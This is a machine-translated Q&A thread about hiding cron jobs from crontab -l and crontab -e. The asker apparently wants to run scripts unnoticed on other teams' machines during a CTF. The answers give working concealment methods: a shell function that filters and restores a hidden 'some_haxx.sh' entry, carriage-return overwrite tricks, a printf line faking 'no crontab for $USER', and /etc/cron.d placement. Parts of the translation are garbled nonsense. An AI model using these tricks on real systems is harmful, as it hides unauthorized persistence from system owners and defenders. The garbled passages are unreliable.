crontab ジョブを隠す

crontab ジョブを隠す

crontab -ecrontabにエントリを追加し、ユーザーがorを使用したときに表示されないように隠すことはできますかcrontab -l?わかりました購買力の評価Defcon CTFの間に技術的な攻撃を受けました。

UPD:私は最近CTFに参加し、他のチームのコンピュータにアクセスしました。私は彼らが気づかないように私のスクリプトを実行したいと思います。だから私はこのようなものを探しています。したがって、権限のないユーザーが実行できることをお勧めしますが、rootユーザーへの回答も役立ちます。

答え1

間違った方向に項目を隠すには非常に簡単な方法があります(ただし、精密調査に耐えられません)。

crontab -lたとえば、動的出力妨害の簡単な概念証明は次のとおりです。

crontab() {
  case "$*" in
    (*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
    (*) command crontab "$@" ;;
  esac
}

シェル構成ファイルに入れる必要があります。

少しの努力をすればより柔軟にすることができますが、そうしてもトリックを見つけることができます。cat /var/spool/cron/someuser

いくつかのアイデアで同様の干渉を達成できると思います-e(編集者を呼び出す前に必要な項目を動的に削除し、編集後に置き換えます)。

編集:実際に実際のユーザーからコンテンツを隠すより簡単な方法がありますcrontab -lCtrl-vCtrl-mVimが編集者であると仮定すると、インラインキーシーケンス():

* * * * * /somedir/some_haxx.sh # Ctrl-vCtrl-m# ここに何でも入れることができます。これにより、cronエントリは無視されます。ここに多くのスペースやダミーのcronエントリを入れることができます。

エディタにはあまり特別な内容は表示されません(^M中央線を除く)。ファイルを保存してエディタを終了します。このトリックは、コマンドラインでファイルを表示した場合にのみ機能します。ここで私たちがすることはcarriage return制御文字を挿入することです。これにより、表示されたテキストがその行の後のすべての内容で上書きされます。

これは上記の欠点を克服しますcatが、編集中のユーザーにそれを隠すにはまだ煙と鏡が必要ですcrontab -e。なぜなら、エディタは制御文字を^M固定としてマークするからです。

答え2

ルートとしてファイルを作成します/etc/cron.d/。以下のcrontabはおよびで表示または編集/etc/cron.d/できません。crontab -lcrontab -e

man cron:

このディレクトリには、/etc/crontabで使用されるフォーマット定義操作に従うすべてのファイルを含めることができます。

答え3

ダークウェブ日記でPPPについて聞いて、同じ質問を受けました。ここで答えを見つけました。

http://vladz.devzero.fr/004_hide-crontab.html

例:

printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -

答え4

bxmのソリューションを補完する次の関数は、crontab -ecronファイル(どこかに追加された$USER/.bashrc)を編集するために使用されるときに問題になる行を隠します。

crontab() {
  case "$*" in
    (*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
    (*-e*) H=$(grep "some_haxx.sh" /var/spool/cron/$USER); O=$(grep -v "some_haxx.sh" /var/spool/cron/$USER); echo "$O">/var/spool/cron/$USER; command crontab -e; echo "$H" >> /var/spool/cron/$USER ;;
    (*) command crontab "$@" ;;
  esac
}

catCTRL-vCTRL-mその後、Vim bxmで説明されているトリックを使用して関連行を非表示にできます。

ユーザーが何らかの理由でシェルを変更したりbashwithで呼び出すと、bash --norc上記の機能は機能しません。

関連情報